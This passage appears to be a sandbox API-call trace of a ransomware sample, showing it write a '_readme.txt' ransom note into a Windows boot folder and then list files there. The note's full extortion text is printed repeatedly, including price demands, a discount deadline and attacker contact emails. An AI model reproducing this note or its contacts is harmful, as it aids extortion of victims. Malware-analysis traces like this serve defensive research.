hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.491] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.491] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.491] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.491] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.491] PathFindFileNameW (pszPath="") returned="" [0066.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.491] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.492] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.492] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.492] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.492] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0066.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.492] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.492] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0066.493] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.493] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.493] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.493] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.493] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.493] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.493] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.493] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.493] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.494] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.494] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.494] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.494] CloseHandle (hObject=0x5c4) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.495] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.495] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.495] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.498] RtlAllocateHeap 